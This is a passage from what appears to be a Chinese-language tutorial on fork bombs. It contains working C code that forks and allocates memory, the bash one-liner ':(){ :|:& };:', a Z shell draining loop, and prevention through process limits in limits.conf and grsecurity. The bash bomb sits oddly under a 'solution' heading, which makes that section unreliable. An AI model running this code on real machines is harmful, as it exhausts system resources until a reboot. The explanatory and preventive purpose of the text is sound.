/* Try to allocate 1MB of memory. */
malloc(1048576);
/* Fork the process so that we have exponential growth in memory. */
fork();
}
return EXIT_SUCCESS;
}
因为现代的操作系统运用了Copy-on-write虚拟内存技术,也就是你不使用的话,他不会真正的分配到物理内存。
上面代码修改成这样就可以:
#include
#include
int main(void) {
int *x;
while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = malloc(sizeof(int) * 1048576);
/* Try to use the newly allocated memory */
*x = 0;
}
return EXIT_SUCCESS;
}
这段代码只影响其中第一页,要想影响整个1M空间,必须至少使用每一页的一个字节
解决方法:
一个成功的fork bomb除非reboot,系统不会恢复,因为已经不能新建进程(kill)来杀掉炸弹进程。
:(){ :|:& };:
这段代码的作用是不能再fork,我们可以用一个什么也不做的新进程,每一个新进程都可以减少一个forkbomb的数量,最后就可以消灭掉它,然后这个新进程就可以退出了。
Z Shell语法:
while (sleep 100 &!) do; done
预防:
像最开始修改配置文件/etc/security/limits.conf一样,我们限制用户的最大进程数量(以至于俺限制得过分了^_^!!)。
linux补丁如grsecurity可以检测哪个用户执行了fork炸弹程序
参考:http://en.wikipedia.org/wiki/Forkbomb
